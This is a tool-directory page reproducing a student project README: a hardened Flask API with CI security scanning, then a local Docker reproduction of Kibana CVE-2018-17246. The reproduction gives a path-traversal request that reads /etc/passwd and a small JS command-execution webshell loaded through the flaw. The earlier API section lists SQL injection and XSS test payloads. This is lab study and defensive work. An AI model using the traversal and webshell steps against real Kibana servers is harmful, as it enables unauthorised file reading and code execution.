Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
work1-secure-api — HDU IS Work 1 - Secure REST API (Flask) with CI/CD (pytest + bandit + pip-audit) and CVE-2018-17246 analysis | Kitploit
Tools/GitHubGitHub/ght657/work1-secure-api
Authentication & AuthorizationStatic AnalysisVulnerability AnalysisWeb SecurityDevSecOpsSupply Chain SecurityPapers & ResearchLearning & EducationAPI SecurityLabs & Practice
GitHubght657/work1-secure-api
17h 45m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

work1-secure-api

HDU IS Work 1 - Secure REST API (Flask) with CI/CD (pytest + bandit + pip-audit) and CVE-2018-17246 analysis

View Repository

Work 1 — Secure REST API Development with CI/CD and Real CVE Vulnerability Analysis

Secure REST API in Python/Flask, CI/CD via GitHub Actions (SAST + SCA + automated tests), and a full analysis of a real CVE reproduced in a Docker environment (Kibana LFI, CVE-2018-17246).

Name: Guhaotian HDU number: 23320209


1. Project & team

  • Repository: https://github.com/ght657/work1-secure-api (public)
  • Stack: Python 3.9 / Flask 3.1.3, PyJWT (HS256 tokens), bcrypt password hashing, SQLite via SQLAlchemy 2, pytest.
  • The API exposes three endpoints:
    • POST /auth/login — issues a signed JWT after verifying the password hash.
    • GET /api/data — protected by JWT (Bearer token); returns records of the current user.
    • GET /api/users/search?q= — protected read endpoint with parameter-bound SQL query.
  • Extra write endpoint POST /api/posts (JWT protected) demonstrates the stored XSS / output-escaping protection.

2. CI/CD pipeline

Workflow file: .github/workflows/ci.yml, triggered on every push to main.

JobToolingWhat it doesEvidence
testpytest 8runs the 11-test suiteevidence/07_pytest_run.png
sastBandit 1.8.0static analysis of app/, tests/ (JSON report uploaded as artifact)evidence/08_bandit_report.png
scapip-audit 2.8.0dependencies audit (JSON report uploaded as artifact)evidence/09_pip_audit_report.png

The pipeline fails if any test fails or any SAST/SCA finding remains, so a red pipeline means a fix must be pushed before merge.

3. Evidence — SAST, SCA, tests

3.1 Automated tests

11 tests, all passing (pytest -q):

tests/test_api.py::test_login_success_issues_token PASSED
tests/test_api.py::test_login_wrong_password_rejected PASSED
tests/test_api.py::test_login_unknown_user_same_error_as_wrong_password PASSED
tests/test_api.py::test_passwords_stored_as_bcrypt_hashes PASSED
tests/test_api.py::test_data_endpoint_denied_without_token PASSED
tests/test_api.py::test_data_endpoint_denied_with_invalid_token PASSED
tests/test_api.py::test_data_endpoint_works_with_valid_token PASSED
tests/test_api.py::test_create_post_requires_token PASSED
tests/test_api.py::test_sqli_payload_treated_as_data PASSED
tests/test_api.py::test_sqli_union_payload_does_not_dump_table PASSED
tests/test_api.py::test_xss_payload_is_escaped_in_response PASSED

11 passed in 2.20s

3.2 SAST — Bandit

The application code is our own, so a first run naturally contains no third-party noise. Result: 0 issues:

Run started:...
Test results:
	No issues identified.
Code scanned:
	Total lines of code: 228
	Total lines skipped (#nosec): 0
	Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 0

3.3 SCA — pip-audit (dependency audit)

pip-audit lists all dependencies with known CVEs; the initial run found:

Found 19 known vulnerabilities in 3 packages
Name          Version ID                Fix Versions
------------- ------- ----------------- ------------
flask         3.0.3   PYSEC-2026-2151    3.1.3
pyjwt         2.9.0   PYSEC-2026-120     2.12.0
pyjwt         2.9.0   PYSEC-2025-183      ...
pyjwt         2.9.0   ...                up to 2.15.0
python-dotenv 1.0.1   PYSEC-2026-2270    1.2.2

19 entries in total (Flask, PyJWT ×17, python-dotenv). I upgraded to the fixed versions: Flask 3.1.3, PyJWT 2.15.0 and removed python-dotenv (optional config helper only — the fixed 1.2.2 requires Python ≥ 3.10 while the audit venv is 3.9). After the fix:

No known vulnerabilities found

(evidence/08b_bandit_after_fix.png, evidence/09b_pip_audit_after_fix.png)

4. Vulnerability testing — API security

The API was tested against the classic attacks with curl. Screenshots in evidence/:

4.1 SQL injection attempt on login

POST /auth/login with username: "admin'--" returns 401 Invalid credentials — the lookup uses an ORM parameter query against the hashed credentials, the injected payload stays data and never becomes SQL.

4.2 SQL injection attempt on search

GET /api/users/search?q=%' OR '1'='1 → the string is bound as a parameter to SELECT ... WHERE username LIKE ? (wildcards escaped), so it matches nothing and the API returns an empty list — no error and no full-table dump.

4.3 XSS attempt (stored content)

POST /api/posts with title: "<script>alert('xss')</script>"; the server stores the raw string but escapes it on output (markupsafe.escape + jsonify), so the returned payload is <script>alert(&#39;xss&#39;)</script> — a browser toggles the text, it does not execute it. (Re-production with a browser render is shown in evidence/06_xss_readback.png.)

4.4 JWT handling

  • No token → 401 {"error": "Missing or malformed Authorization header"} (evidence/03_data_denied.png)
  • Valid token → 200 + protected data (evidence/04_data_with_token.png)
  • Token with tampered payload → 401 (signature check with HS256)
  • Expired token → 401 (60-minute expiry)
  • JWT is returned in the response and used via Authorization: Bearer <token> (evidence/10_jwt_structure.png shows the 3-part structure).

4.5 Hashing

Passwords are stored as bcrypt hashes (12 rounds) and never returned by any endpoint (test test_passwords_stored_as_bcrypt_hashes).

5. CVE Analysis — CVE-2018-17246 (Kibana 5.6.12 / 6.4.2 — local file inclusion + code execution)

5.1 Vulnerability overview

  • Product / version: Kibana 5.6.12 (vulnerable), 5.6.13 (patched); 6.4.2 / 6.4.3.
  • Type: Path traversal / unauthenticated arbitrary file read through the Console API, which escalates to remote code execution by loading a local JavaScript file.
  • Impact: unauthenticated read of any file readable by the Kibana process (e.g. /etc/passwd), and — because the vulnerable route requires the file as a JS module — if a writable path is reachable (e.g. through another flaw or a generated temp file), attacker-controlled JS can be executed by the Kibana process.
  • Cause: GET /api/console/api_server?apis=../../../../../../etc/passwd — the apis parameter is passed to require() after only a simple path check, allowing .. sequences to escape the server-side api directory and read/execute arbitrary files.

5.2 Reproducing the CVE (local Docker)

I use the public vulhub image (already published, verified vulnerable):

vulhub/kibana:5.6.12 + vulhub/elasticsearch:5.6.16 — see CVE-2018-17246/docker-compose.yml (folder with the same name in this repo).

cd CVE-2018-17246
docker compose up -d          # kibana 5.6.12 + elasticsearch 5.6.16, UI on :5601

Step 1 — trigger the LFI (Console API accepts an apis path that is resolved as a file):

curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"

The response is 500 (the file is not a valid JS module) but the file content appears in the server log — Kibana reads the file and tries to require() it:

docker compose logs kibana | grep -i "passwd\|root:x"

Step 2 — escalate to code execution. A local JS file is loaded as a module by the same route: /tmp/vulhub.js containing a tiny "webshell" that runs a shell command when its exported function is invoked by the Console API:

// /tmp/vulhub.js  (written inside the Kibana container)
export default {
  asJson: function(req, res) { return require('child_process').execSync('id').toString(); }
}
# write the file inside the container and load it
docker compose exec kibana bash -c "mkdir -p /tmp && cat > /tmp/vulhub.js << 'EOF'
export default {
  asJson: function(req, res) { return require('child_process').execSync('id').toString(); }
}
EOF"
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=/tmp/vulhub.js"
Download Tool